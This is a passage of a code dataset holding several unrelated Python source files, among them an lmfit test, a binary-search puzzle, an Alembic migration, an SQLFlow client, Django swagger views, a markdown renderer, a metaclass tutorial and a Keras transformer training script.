0.0, 10.0),\n ('x1', 1., True, 0.0, 10.0))\n\n mini = lmfit.Minimizer(residual_Alpine02, pars)\n kws = {'maxfunevals': 50}\n out = mini.minimize(method='ampgo', **kws)\n assert('function' in out.ampgo_msg)\n","sub_path":"tests/test_ampgo.py","file_name":"test_ampgo.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"181440373","text":"# coding:utf-8\n\n# 入力\nN = 5\nM = 3\nx = [1, 2, 8, 4, 9]\n\ndef C(d):\n last = 0\n for i in range(1, M):\n crt = last + 1\n while (crt < N and x[crt] - x[last] < d):\n crt += 1\n if crt == N:\n return False\n last = crt\n return True\n\n\ndef solve():\n x.sort()\n lb = 0\n ub = 1000000\n while (ub - lb > 1):\n mid = (lb + ub) // 2\n if C(mid):\n lb = mid\n else:\n ub = mid\n print (lb)\n\nsolve()\n","sub_path":"section3/p131_aggressive_cows.py","file_name":"p131_aggressive_cows.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"17396622","text":"\"\"\"empty message\n\nRevision ID: d62be1b2690b\nRevises: c94d7c466ace\nCreate Date: 2016-10-17 11:38:00.484253\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = 'd62be1b2690b'\ndown_revision = 'c94d7c466ace'\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('post', 'post',\n existing_type=sa.TEXT(),\n nullable=True)\n op.alter_column('post', 'timestamp',\n existing_type=postgresql.TIMESTAMP(),\n nullable=True)\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('post', 'timestamp',\n existing_type=postgresql.TIMESTAMP(),\n nullable=False)\n op.alter_column('post', 'post',\n existing_type=sa.TEXT(),\n nullable=False)\n ### end Alembic commands ###\n","sub_path":"src/migrations/versions/d62be1b2690b_.py","file_name":"d62be1b2690b_.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"142499973","text":"import os\nimport logging\nimport grpc\n\nimport google.protobuf.wrappers_pb2 as wrapper\nfrom google.protobuf.timestamp_pb2 import Timestamp\n\nimport sqlflow.proto.sqlflow_pb2 as pb\nimport sqlflow.proto.sqlflow_pb2_grpc as pb_grpc\n\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass Rows:\n def __init__(self, column_names, rows_gen):\n \"\"\"Query result of sqlflow.client.Client.execute\n\n :param column_names: column names\n :type column_names: list[str].\n :param rows_gen: rows generator\n :type rows_gen: generator\n \"\"\"\n self._column_names = column_names\n self._rows_gen = rows_gen\n self._rows = None\n\n def column_names(self):\n \"\"\"Column names\n\n :return: list[str]\n \"\"\"\n return self._column_names\n\n def rows(self):\n \"\"\"Rows\n\n Example:\n\n >>> [r for r in rows.rows()]\n\n :return: list generator\n \"\"\"\n if self._rows is None:\n self._rows = []\n for row in self._rows_gen():\n self._rows.append(row)\n yield row\n else:\n for row in self._rows:\n yield row\n\n def __str__(self):\n return self.__repr__()\n\n def __repr__(self):\n from prettytable import PrettyTable\n table = PrettyTable(self._column_names)\n for row in self.rows():\n table.add_row(row)\n return table.__str__()\n\n def to_dataframe(self):\n \"\"\"Convert Rows to pandas.Dataframe\n\n :return: pandas.Dataframe\n \"\"\"\n raise NotImplementedError\n\n\nclass Client:\n def __init__(self, server_url=None):\n \"\"\"A minimum client that issues queries to and fetch results/logs from sqlflowserver.\n\n :param server_url: sqlflowserver url. If None, read value from\n environment variable SQLFLOW_SERVER.\n :type server_url: str.\n :raises: ValueError\n\n Example:\n\n >>> client = sqlflow.Client(server_url=\"localhost:50051\")\n\n \"\"\"\n if server_url is None:\n if \"SQLFLOW_SERVER\" not in os.environ:\n raise ValueError(\"Can't find environment variable SQLFLOW_SERVER\")\n server_url = os.environ[\"SQLFLOW_SERVER\"]\n\n # FIXME(tonyyang-svail): change insecure_channel to secure_channel\n channel = grpc.insecure_channel(server_url)\n self._stub = pb_grpc.SQLFlowStub(channel)\n\n def execute(self, operation):\n \"\"\"Run a SQL statement\n\n :param operation: SQL statement to be executed.\n :type operation: str.\n\n :returns: sqlflow.client.Rows\n\n Example:\n\n >>> client.execute(\"select * from iris limit 1\")\n\n \"\"\"\n try:\n stream_response = self._stub.Run(pb.Request(sql=operation))\n return self.display(stream_response)\n except grpc.RpcError as e:\n _LOGGER.error(\"%s\\n%s\", e.code(), e.details())\n \n @classmethod\n def display(cls, stream_response):\n \"\"\"Display stream response like log or table.row\"\"\"\n first = next(stream_response)\n if first.WhichOneof('response') == 'message':\n _LOGGER.info(first.message.message)\n for res in stream_response:\n _LOGGER.info(res.message.message)\n else:\n column_names = [column_name for column_name in first.head.column_names]\n\n def rows_gen():\n for res in stream_response:\n yield [cls._decode_any(a) for a in res.row.data]\n return Rows(column_names, rows_gen)\n\n @classmethod\n def _decode_any(cls, any_message):\n \"\"\"Decode a google.protobuf.any_pb2\n \"\"\"\n try:\n message = next(getattr(wrapper, type_name)()\n for type_name, desc in wrapper.DESCRIPTOR.message_types_by_name.items()\n if any_message.Is(desc))\n any_message.Unpack(message)\n return message.value\n except StopIteration:\n if any_message.Is(pb.Row.Null.DESCRIPTOR):\n return None\n if any_message.Is(Timestamp.DESCRIPTOR):\n timestamp_message = Timestamp()\n any_message.Unpack(timestamp_message)\n return timestamp_message.ToDatetime()\n raise TypeError(\"Unsupported type {}\".format(any_message))\n","sub_path":"sqlflow/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"324789953","text":"# _*_ coding:utf-8 _*_\nimport sys\nimport json\n\nfrom django.views.generic import TemplateView\nfrom django.http import HttpResponse, Http404\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.core.urlresolvers import reverse\nfrom django.conf import settings\n\nfrom tastypie.api import Api\n\nfrom .mapping import ResourceSwaggerMapping\n\n\nclass TastypieApiMixin(object):\n \"\"\"\n Provides views with a 'tastypie_api' attr representing a tastypie.api.Api instance\n\n Python path must be defined in settings as TASTYPIE_SWAGGER_API_MODULE\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(TastypieApiMixin, self).__init__(*args, **kwargs)\n self.tastypie_api_list = []\n tastypie_api_module_list = getattr(settings, 'TASTYPIE_SWAGGER_API_MODULE_LIST', None)\n if not tastypie_api_module_list:\n raise ImproperlyConfigured(\"Must define TASTYPIE_SWAGGER_API_MODULE in settings as path to a tastypie.api.Api instance\")\n for tastypie_api_module in tastypie_api_module_list:\n path = tastypie_api_module['path']\n obj = tastypie_api_module['obj']\n func_name = tastypie_api_module['func_name']\n try:\n tastypie_api = getattr(sys.modules[path], obj, None)\n if func_name:\n tastypie_api = getattr(tastypie_api, func_name)()\n except KeyError:\n raise ImproperlyConfigured(\"%s is not a valid python path\" % path)\n if not isinstance(tastypie_api, Api):\n raise ImproperlyConfigured(\"%s is not a valid tastypie.api.Api instance\" % tastypie_api_module)\n self.tastypie_api_list.append(tastypie_api)\n\n\nclass SwaggerApiDataMixin(object):\n \"\"\"\n Provides required API context data\n \"\"\"\n\n def get_context_data(self, *args, **kwargs):\n context = super(SwaggerApiDataMixin, self).get_context_data(*args, **kwargs)\n\n context.update({\n 'openapi': '3.0.1',\n 'info': {\n 'version': '1.0.0',\n \"description\": \"ifanr 后端所有的 API\",\n 'title': 'ifanr API Center',\n 'license': {\n 'name': 'Private'\n }\n },\n 'servers': [\n {\n 'url': self.request.build_absolute_uri('/')\n }\n ],\n })\n return context\n\n\nclass JSONView(TemplateView):\n \"\"\"\n Simple JSON rendering\n \"\"\"\n response_class = HttpResponse\n\n def render_to_response(self, context, **response_kwargs):\n \"\"\"\n Returns a response with a template rendered with the given context.\n \"\"\"\n\n for k in ['params','view']:\n if k in context:\n del context[k]\n\n return self.response_class(\n json.dumps(context),\n content_type='application/json',\n **response_kwargs\n )\n\n\nclass SwaggerView(TastypieApiMixin, TemplateView):\n \"\"\"\n Display the swagger-ui page\n \"\"\"\n\n template_name = 'tastypie_swagger/index.html'\n\n\nclass ResourcesView(TastypieApiMixin, SwaggerApiDataMixin, JSONView):\n \"\"\"\n Provide json data to swagger-ui page\n\n This JSON must conform to https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.1.md\n \"\"\"\n\n def get_context_data(self, *args, **kwargs):\n context = super(ResourcesView, self).get_context_data(*args, **kwargs)\n\n # Construct schema endpoints from resources\n paths = {}\n for tastypie_api in self.tastypie_api_list:\n for name in sorted(tastypie_api._registry):\n mapping = ResourceSwaggerMapping(tastypie_api._registry.get(name))\n # 一个 resource 可能有多个 URL\n doc = mapping.resource.__doc__\n if doc:\n try:\n paths.update(json.loads(doc))\n except ValueError:\n paths.update(mapping.build_paths())\n else:\n paths.update(mapping.build_paths())\n\n context.update({\n 'paths': paths,\n })\n\n return context\n\n","sub_path":"tastypie_swagger/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"43716718","text":"import re\n\nfrom pygments import highlight\nfrom pygments.lexers import get_lexer_by_name\nfrom pygments.formatters import HtmlFormatter\n\nimport mistune\nfrom mistune import Renderer, InlineGrammar, InlineLexer, BlockGrammar, BlockLexer\n\nfrom helpers.filesystem_helper import get_all_files_in_folder\nfrom FileReader import FileReader\n\nclass PostRenderer:\n\tdef __init__(self):\n\t\tsuper(PostRenderer, self).__init__()\n\t\tself.highlight_renderer = HighlightRenderer()\n\t\tself.meta_data_inline_lexer = MetaDataInlineLexer(self.highlight_renderer) # the lexer needs to know the renderer to call its meta_data function\n\t\tself.meta_data_inline_lexer.enable_meta_data() # don't forget to enable it!\n\t\tself.markdown = mistune.Markdown(\n\t\t\trenderer=self.highlight_renderer,\n\t\t\tinline=self.meta_data_inline_lexer,\n\t\t\tescape=False,\n\t\t)\n\n\tdef render_posts_from(self, directory_path):\n\t\tmarkdown_extensions = ['markdown', 'md', 'mdown']\n\t\tfile_list = get_all_files_in_folder(directory_path, file_extensions=markdown_extensions)\n\n\t\tfile_reader = FileReader()\n\t\thtml_contents = []\n\n\t\tfor file_name in file_list:\n\t\t\tmarkdown_content = file_reader.read_file(directory_path + file_name)\n\t\t\tpost_content = self.markdown(markdown_content)\n\t\t\t# html_contents.append('
{post_content}

––––––––––––––––––––––––

'.format(post_content=post_content))\n\t\t\thtml_contents.append('
{post_content}

––––

'.format(post_content=post_content))\n\n\t\tcomplete_html_content = ''.join(html_contents)\n\n\t\treturn complete_html_content\n\nclass HighlightRenderer(mistune.Renderer):\n\tdef block_code(self, code, lang):\n\t\tif not lang:\n\t\t\treturn '\\n
{code}
\\n'.format(\n\t\t\t\tcode=mistune.escape(code)\n\t\t\t)\n\t\tlexer = get_lexer_by_name(lang, stripall=True)\n\t\tformatter = HtmlFormatter(\n\t\t\tlinenos='table',\n\t\t\tlinenospecial=4,\n\t\t\tlineseparator='
',\n\t\t\tlineanchors='code-line-link',\n\t\t\tlinespans='code-line-span',\n\t\t\tanchorlinenos='lineno-line'\n\t\t)\n\t\treturn highlight(code, lexer, formatter)\n\n\tdef meta_data(self, attribute, value):\n\t\tif attribute.lower() == 'title':\n\t\t\treturn '

{title}

'.format(title=value)\n\t\telif attribute.lower() == 'author':\n\t\t\treturn '

Author: {author}

'.format(author=value)\n\t\telif attribute.lower() == 'date':\n\t\t\treturn '

Date: {date}

'.format(date=value)\n\t\telse:\n\t\t\treturn '

{attribute}: {value}

'.format(attribute=attribute, value=value)\n\nclass MetaDataInlineLexer(InlineLexer):\n\tdef enable_meta_data(self):\n\t\tself.rules.meta_data = re.compile(\n\t\t\tr'(%\\s*)'\n\t\t\tr'(?P.*)'\n\t\t\tr'(\\s*:\\s*)'\n\t\t\tr'(?P.*)'\n\t\t\tr'(\\s*)'\n\t\t)\n\t\tself.default_rules.insert(3, 'meta_data')\n\n\tdef output_meta_data(self, match):\n\t\tattribute = match.group('attribute')\n\t\tvalue = match.group('value')\n\t\treturn self.renderer.meta_data(attribute, value)\n","sub_path":"app/PostRenderer.py","file_name":"PostRenderer.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"631177450","text":"#-*- coding: utf-8 -*-\nfrom openpyxl import load_workbook\n\nclass DoExcel:\n '''该类完成测试数据的读取以及测试结果的写回'''\n\n def __init__(self,file_name,sheet_name):\n self.file_name=file_name#Excel工作簿文件名或地址\n self.sheet_name=sheet_name#表单名\n\n def read_data(self):\n '''从Excel读取数据,有返回值'''\n wb=load_workbook(self.file_name)\n sheet=wb[self.sheet_name]\n\n #唯一的要求是什么?每一行数据要在一起{} [] ()\n #如何把每一行的数据存在一个空间里面去?[]\n #开始读取数据\n test_data=[]\n for i in range(2,sheet.max_row+1):\n row_data={}\n row_data['CaseId']=sheet.cell(i,1).value\n row_data['Module'] = sheet.cell(i, 2).value\n row_data['Title'] = sheet.cell(i, 3).value\n row_data['Url'] = sheet.cell(i, 4).value\n row_data['Method'] = sheet.cell(i, 5).value\n row_data['Params'] = sheet.cell(i, 6).value\n row_data['ExpectedResult'] = sheet.cell(i, 7).value\n test_data.append(row_data)\n wb.close()\n return test_data\n\n def write_back(self,row,col,value):\n '''写回测试结果到Excel中'''\n wb=load_workbook(self.file_name)\n sheet=wb[self.sheet_name]\n\n sheet.cell(row,col).value=value\n\n wb.save(self.file_name)\n wb.close()\n\n\nif __name__ == '__main__':\n file_name='test.api.xlsx'\n sheet_name='test_case'\n test_data=DoExcel(file_name,sheet_name).read_data()\n print(test_data)\n\n\n","sub_path":"python lesson1/API_1/common/do_excel.py","file_name":"do_excel.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"316349113","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# setup.py\n#\n# Copyright © 2016 Antergos\n# Copyright © 2011-2016 Hugo Sena Ribeiro\n#\n# This file is part of pydbusdecorator.\n#\n# pydbusdecorator is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 3 of the License, or\n# (at your option) any later version.\n#\n# pydbusdecorator is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# The following additional terms are in effect as per Section 7 of the license:\n#\n# The preservation of all legal notices and author attributions in\n# the material or in the Appropriate Legal Notices displayed\n# by works containing it is required.\n#\n# You should have received a copy of the GNU General Public License\n# along with pydbusdecorator; If not, see .\n\n\nfrom .base import Decorator, ATTR_KEY\n\n\nclass DBusAttribute(Decorator):\n \"\"\"\n https://docs.python.org/2/howto/descriptor.html#properties\n \"\"\"\n\n def __init__(self, meth=None, produces=lambda resp: resp):\n self.attr = meth\n self.produces = produces\n self._update_me(meth)\n\n def __call__(self, meth):\n self.attr = meth\n self._update_me(meth)\n return self\n\n def __get__(self, obj, objtype=None):\n # static call\n if not obj:\n return self\n\n _dbus = getattr(obj, ATTR_KEY)\n props = _dbus.properties\n iface = _dbus.iface\n result = props.Get(iface, self.attr.__name__)\n produces = self.produces\n return produces(result)\n\n def __set__(self, obj, value):\n if obj:\n _dbus = getattr(obj, ATTR_KEY)\n props = _dbus.properties\n iface = _dbus.iface\n props.Set(iface, self.attr.__name__, value)\n else: # static call\n self.attr = value\n\n def __delete__(self, obj):\n raise AttributeError('can not delete attribute')\n\n\nif __name__ == '__main__':\n # examples\n from .interface import DBusInterface\n\n\n @DBusInterface('org.mpris.MediaPlayer2',\n '/org/mpris/MediaPlayer2')\n class Example(object):\n @DBusAttribute\n def Identity(self):\n pass\n\n\n d = Example(\n dbus_interface_info={\n 'dbus_uri': 'org.mpris.MediaPlayer2.vlc'})\n\n assert d.Identity == 'VLC media player'\n","sub_path":"dbusdecorator/attribute.py","file_name":"attribute.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"75161303","text":"from typing import List\n\nfrom sklearn.ensemble import RandomForestClassifier\nimport numpy as np\nimport pandas as pd\n\nfrom data.user_features import UserFeatures\nfrom data.user_labels import UserLabels\nfrom estimators.base.age_estimator import AgeEstimator\nfrom constants.hyper_parameters import RELATION_AGE_DEEP_WALK_HYPER_PARAMS\nfrom data.pre_processors import get_deep_walk_embeddings\nfrom estimators.estimator_utils import RandomSearch\nfrom estimators.estimator_utils import get_age_embeddings_dataset_splits\nfrom data.readers import int_category_to_age\n\n\nclass RelationDeepWalkRandomForestAgeEstimator(AgeEstimator):\n def __init__(self):\n self.best_deep_walk_hyper_parameters = ''\n self.best_model_parameters = {}\n self.best_estimator = None\n\n def fit(\n self,\n features: List[UserFeatures],\n liwc_df: pd.DataFrame,\n nrc_df: pd.DataFrame,\n labels: List[UserLabels]\n ) -> None:\n best_model_parameters = []\n best_model_scores = []\n for hyper_params in RELATION_AGE_DEEP_WALK_HYPER_PARAMS:\n x_train, x_test, y_train, y_test = get_age_embeddings_dataset_splits(\n features,\n labels,\n hyper_params,\n get_deep_walk_embeddings\n )\n best_model_params, best_model_score = RandomSearch.random_forest(100, x_train, y_train, x_test, y_test)\n best_model_parameters.append(best_model_params)\n best_model_scores.append(best_model_score)\n\n best_index = int(np.argmax(best_model_scores))\n self.best_deep_walk_hyper_parameters = RELATION_AGE_DEEP_WALK_HYPER_PARAMS[best_index]\n self.best_model_parameters = best_model_parameters[best_index]\n print(\"Best test set score was {}\".format(best_model_scores[best_index]))\n print(\"Best hyper-parameters were {}\".format(self.best_deep_walk_hyper_parameters))\n print(\"Best model parameters were {}\".format(self.best_model_parameters))\n\n self.best_estimator = RandomForestClassifier(**self.best_model_parameters)\n x_train, x_test, y_train, y_test = get_age_embeddings_dataset_splits(\n features,\n labels,\n self.best_deep_walk_hyper_parameters,\n get_deep_walk_embeddings\n )\n self.best_estimator.fit(x_train, y_train)\n\n def predict(\n self,\n features: List[UserFeatures],\n liwc_df: pd.DataFrame,\n nrc_df: pd.DataFrame\n ) -> List[str]:\n embeddings = get_deep_walk_embeddings(features, self.best_deep_walk_hyper_parameters)\n predictions = self.best_estimator.predict(embeddings)\n return [int_category_to_age(int(prediction)) for prediction in predictions]\n","sub_path":"src/estimators/age/relation_deepwalk_random_forest_age_estimator.py","file_name":"relation_deepwalk_random_forest_age_estimator.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"53628569","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThe following fails because the LSF_output_file and the job_log are in different mounts:\nos.rename(LSF_output_file,job_log)\nOSError: [Errno 18] Invalid cross-device link:\n\nHave to cp and then remove!\n\nThis is a temporary script file.\n\"\"\"\nimport os\nimport sys\nimport json\nimport shutil\n\nFFS='-'\n\n# GET INPUT ARGUMENTS\nconfigfile = sys.argv[1]\nexit_status = sys.argv[2]\nrm_input = sys.argv[3]\n\ninput_basename = os.path.basename(configfile).split('.')[0]\nLSF_output_path = os.path.dirname(configfile)\nLSF_output_file = os.path.join(LSF_output_path,input_basename + '.o')\nrun_id = '-'.join(input_basename.split('-')[1:])\n\n# GET INFO FROM CONFIG FILE\nwith open(configfile,'r') as fO:\n config = json.load(fO) \n\nyyyy = config.get('year')\nmm = config.get('month')\n\n# RENAME AND MOVE LSF OUTFILE\next='ok' if exit_status == '0' else 'failed'\njob_log_file = FFS.join([str(yyyy),str(mm),run_id]) + '.' + ext\njob_log = os.path.join(LSF_output_path,job_log_file)\nshutil.copy(LSF_output_file,job_log)\nos.remove(LSF_output_file)\n\n# REMOVE *.input FILE\nif rm_input == '0':\n os.remove(configfile)\n","sub_path":"common/process_array_output_hdlr.py","file_name":"process_array_output_hdlr.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"95413782","text":"import json\nimport os\nfrom collections import OrderedDict\n#import eva.data_access.load_data as data\nfrom eva.data_access.data import data\n\n\ndef main():\n config=get_config()\n csvFile=data.loadfrom_excel(os.getcwd()+\"\\\\data\\\\UK_DATA_23Jan17.xlsx\")\n\n\n #data.load_data()\n\n\ndef get_config():\n config_file = {}\n with open(os.path.join(os.getcwd() + \"\\\\config\", \"config.json\")) as data_file:\n config_file = json.load(data_file, object_pairs_hook=OrderedDict)\n return config_file\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"377681446","text":"''' We are going to mock the django data base model\n class Person(Model):\n name = String('name')\n age = Integer('age')\n \n person = Person('robus', 34)\n person.name = 34 ##Type error\n person.age = 'rage in number' # type error\n'''\n\n#we need to define the descriptor , We call it owning the dot of attribute in instance dictionary of object\n\nclass Descriptor:\n def __init__(self, name=None):\n self.name = name\n \n def __get__(self, instance, cls):\n return instance.__dict__[self.name]\n \n #setter is improtant\n def __set__(self, instance, val):\n instance.__dict__[self.name] = val\n\n\n#for simplee type cheker\nclass Typed(Descriptor):\n ty = object\n\n def __set__(self, instance, val):\n if not isinstance(val, self.ty):\n raise TypeError('Expected %s\\n') % self.ty\n super().__set__(instance, val)\n\n#now for integer\nclass Integer(Typed):\n ty = int\n\nclass String(Typed):\n ty = str\n\nclass Float(Typed):\n ty = float\n\n#so we can use this class like this\n\n#for example\n\nclass Stock:\n def __init__(self, name, price):\n self.name = name\n self.price = price\n \n name = String('name')\n price = Float('price')\n\n#chechking\n\n# stock = Stock('robus', 45) #this must throw type error\n\n#this still looks ugly , \n#so we create a base class called model\n\nclass Model:\n _fields = []\n def __init__(self, *args):\n for key, val in zip(self._fields, args):\n setattr(self, key, val)\n \n#now \nclass Stock(Model):\n _fields = ['name', 'price']\n\n name = String('name')\n price = String('price')\n\n#now it looks abit clean\n\n#can we do it better , YES , use metaclass\n\n\nclass MyMetaClass(type):\n def __new__(cls, clsname, bases, clsdict):\n _fields = []\n for key, val in clsdict.items():\n if isinstance(val, Descriptor):\n _fields.append(key)\n #attach the _fields attrivute to class dictionary\n clsdict['_fields'] = _fields\n return super().__new__(cls, clsname, bases, clsdict)\n\n#now use this meta to define the model\n\nclass Model(metaclass=MyMetaClass):\n \n def __init__(self, *args):\n for key, val in zip(self._fields, args):\n setattr(self, key, val)\n\n#finally, our stock class looks like this\n\nclass Stock(Model):\n \n name = String('name')\n price = Float('price')\n\n#thislooks way cleaner\n\ndef main():\n print(Stock.__dict__) #class dictionary\n\n stock = Stock('robus', 34.34)\n print(stock.__dict__) #instance dict\n\n print(stock.name)\n print(stock.price)\n\nif __name__ == '__main__':\n main()\n\n ","sub_path":"django.py","file_name":"django.py","file_ext":"py","file_size_in_byte":2666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"78647375","text":"import torch\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport numpy as np\nimport scipy\nimport sklearn.metrics\nimport sklearn.neighbors\nimport scipy.sparse\nimport scipy.sparse.linalg\nimport scipy.spatial.distance\n\ndef kl_div_with_logit(q_logit, p_logit):\n\n q = F.softmax(q_logit, dim=1)\n logq = F.log_softmax(q_logit, dim=1)\n logp = F.log_softmax(p_logit, dim=1)\n\n qlogq = ( q *logq).sum(dim=1).mean(dim=0)\n qlogp = ( q *logp).sum(dim=1).mean(dim=0)\n\n return qlogq - qlogp\n\n\ndef _l2_normalize(d):\n\n d = d.numpy()\n d /= (np.sqrt(np.sum(d ** 2, axis=(1, 2, 3))).reshape((-1, 1, 1, 1)) + 1e-16)\n return torch.from_numpy(d)\n\n\ndef vat_loss(model, ul_x, ul_y, xi=1e-6, eps=2.5, num_iters=1):\n\n # find r_adv\n\n d = torch.Tensor(ul_x.size()).normal_()\n for i in range(num_iters):\n d = xi *_l2_normalize(d)\n d = Variable(d.cuda(), requires_grad=True)\n y_hat = model(ul_x + d)\n delta_kl = kl_div_with_logit(ul_y.detach(), y_hat)\n delta_kl.backward()\n\n d = d.grad.data.clone().cpu()\n model.zero_grad()\n\n d = _l2_normalize(d)\n d = Variable(d.cuda())\n r_adv = eps *d\n # compute lds\n y_hat = model(ul_x + r_adv.detach())\n delta_kl = kl_div_with_logit(ul_y.detach(), y_hat)\n return delta_kl\n\n\ndef entropy_loss(ul_y):\n p = F.softmax(ul_y, dim=1)\n return -(p*F.log_softmax(ul_y, dim=1)).sum(dim=1).mean(dim=0)\n\ndef pairwise_distances(x, y=None):\n '''\n Input: x is a Nxd matrix\n y is an optional Mxd matirx\n Output: dist is a NxM matrix where dist[i,j] is the square norm between x[i,:] and y[j,:]\n if y is not given then use 'y=x'.\n i.e. dist[i,j] = ||x[i,:]-y[j,:]||^2\n '''\n\n x_norm = (x ** 2).sum(1).view(-1, 1)\n if y is not None:\n y_t = torch.transpose(y, 0, 1)\n y_norm = (y ** 2).sum(1).view(1, -1)\n else:\n y_t = torch.transpose(x, 0, 1)\n y_norm = x_norm.view(1, -1)\n\n dist = x_norm + y_norm - 2.0 * torch.mm(x, y_t)\n # Ensure diagonal is zero if x=y\n # if y is None:\n # dist = dist - torch.diag(dist.diag)\n return torch.clamp(dist, 0.0, np.inf)\n\ndef adjacency(edge_pairs, select_position, idx_dict, sigma2=1.0, directed=False):\n \"\"\"\n Return the adjacency matrix of a kNN graph.\n \"\"\"\n\n num_rows, num_cols = select_position.shape\n N, k = edge_pairs.shape\n row_list = []\n col_list = []\n dist_list = []\n for i in range(N):\n node_i = idx_dict[i]\n i_row, i_col = node_i // num_cols, node_i % num_cols\n for j in edge_pairs[i]:\n if j == -1:\n continue\n row_list.append(i)\n col_list.append(j)\n node_j = idx_dict[j]\n j_row, j_col = node_j // num_cols, node_j % num_cols\n dist_i_j = 1.0 - np.abs(select_position[i_row, i_col] - select_position[j_row, j_col]) / \\\n max(select_position[i_row, i_col], select_position[j_row, j_col])\n\n # dist_i_j = 1.0\n dist_list.append(dist_i_j)\n\n W = scipy.sparse.coo_matrix((dist_list, (row_list, col_list)), shape=(N, N))\n\n # No self-connections.\n W.setdiag(0)\n\n if not directed:\n # Non-directed graph.\n bigger = W.T > W\n W = W - W.multiply(bigger) + W.T.multiply(bigger)\n assert W.nnz % 2 == 0\n assert np.abs(W - W.T).mean() < 1e-10\n\n # assert type(W) is scipy.sparse.csr.csr_matrix\n return W\n\ndef distance_sklearn_metrics(z, k=4, metric='euclidean'):\n \"\"\"Compute exact pairwise distances.\"\"\"\n d = sklearn.metrics.pairwise.pairwise_distances(\n z, metric=metric, n_jobs=-2)\n # k-NN graph.\n idx = np.argsort(d)[:, 1:k+1]\n d.sort()\n d = d[:, 1:k+1]\n # set idx of non-neighbour nodes to -1\n non_neighbour = d > np.sqrt(2)\n idx[non_neighbour] = -1\n\n return d, idx\n\ndef distance_scipy_spatial(z, k=4, metric='euclidean'):\n \"\"\"Compute exact pairwise distances.\"\"\"\n d = scipy.spatial.distance.pdist(z, metric)\n d = scipy.spatial.distance.squareform(d)\n # k-NN graph.\n idx = np.argsort(d)[:, 1:k+1]\n d.sort()\n d = d[:, 1:k+1]\n\n return d, idx","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"386387441","text":"import tensorflow as tf\nfrom tensorflow.keras.callbacks import ModelCheckpoint, EarlyStopping\nfrom tensorflow.keras.models import load_model\nimport matplotlib.pyplot as plt\nfrom utils.Time2Vector import Time2Vector\nfrom utils.Attention import MultiAttention, SingleAttention\nfrom utils.Encoder import TransformerEncoder\nfrom utils.get_data import get_data\n\ndef train_model(model, epoches=50, batch=32):\n seq_len = 128\n df, X_train, y_train, X_val, y_val, X_test, y_test,train_data_len,val_data_len,scaler = get_data()\n\n CP = ModelCheckpoint(filepath='Transformer+TimeEmbedding.hdf5',\n monitor='val_loss',\n save_best_only=True,\n verbose=1)\n\n ES = EarlyStopping(monitor='val_loss',\n mode='min',\n patience=10)\n\n history = model.fit(X_train, y_train,\n batch_size=batch,\n epochs=epoches,\n callbacks=[CP, ES],\n verbose=1,\n validation_data=(X_val, y_val))\n\n model = load_model('Transformer+TimeEmbedding.hdf5',\n custom_objects={'Time2Vector': Time2Vector,\n 'SingleAttention': SingleAttention,\n 'MultiAttention': MultiAttention,\n 'TransformerEncoder': TransformerEncoder})\n \n\n #Print evaluation metrics for all datasets\n train_eval = model.evaluate(X_train, y_train, verbose=0)\n val_eval = model.evaluate(X_val, y_val, verbose=0)\n test_eval = model.evaluate(X_test, y_test, verbose=0)\n\n print('\\nEvaluation metrics')\n print('Training Data - Loss: {:.4f}, MAE: {:.4f}'.format(train_eval[0], train_eval[1]))\n print('Validation Data - Loss: {:.4f}, MAE: {:.4f}'.format(val_eval[0], val_eval[1]))\n print('Test Data - Loss: {:.4f}, MAE: {:.4f}'.format(test_eval[0], test_eval[1]))\n # Visualize Loss Vs. epochs\n\n loss = history.history[\"loss\"]\n val_loss = history.history[\"val_loss\"]\n epochs = range(len(loss))\n plt.figure()\n plt.plot(epochs, loss, \"b\", 